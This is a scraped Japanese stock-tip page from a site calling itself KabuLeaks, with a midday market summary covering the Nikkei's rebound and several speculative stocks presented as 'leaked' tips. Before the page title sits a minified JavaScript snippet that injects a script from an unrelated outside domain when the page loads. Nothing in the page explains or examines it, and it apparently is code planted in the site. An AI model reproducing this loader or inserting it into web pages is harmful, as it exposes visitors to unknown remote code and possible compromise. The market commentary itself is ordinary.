;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【10/11 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【10/11 前引け】

前場の日経平均株価は195円高と反発。前日の原油高を背景にした欧米株高を背景に買いが先行。その後も為替が円安に振れたことから上げ幅を拡大させ日経平均は約1ヶ月ぶりに節目の1万7000円台を回復。買い一巡後は高値圏でのもみ合いとなっている。

個別では、スマホゲーム「三国ブレイズ」材料というよりは仕手性強く値動き軽いことから短期資金が集まる【3071】ストリームやIPS細胞を用いた心筋梗塞治療法の研究成果が英総合科学雑誌Natureに掲載された【2176】イナリサーチがストップ高となったほか、カジノ、大阪万博関連本命の【9353】櫻島埠頭、無線LAN関連でフルノシステムズと連携の【2354】安川情報システムが急伸大幅高に。また、上方修正発表を好感の【6899】ASTI、第1四半期の決算好感の【1377】サカタのタネなどの上げも目立っている。

日経平均は大台の1万7000円台回復し、後場はまずこの水準を維持できるかに注目。雇用統計は市場予想をやや下回るも12月利上げの可能性はそこまで後退してないほか、ロシアが石油輸出国機構(OPEC)の減産に協力する意向を示し原油価格の上昇、米大統領選の第2回候補者討論会を終え、民主党のクリントン氏優勢も日本には追い風になると思われる。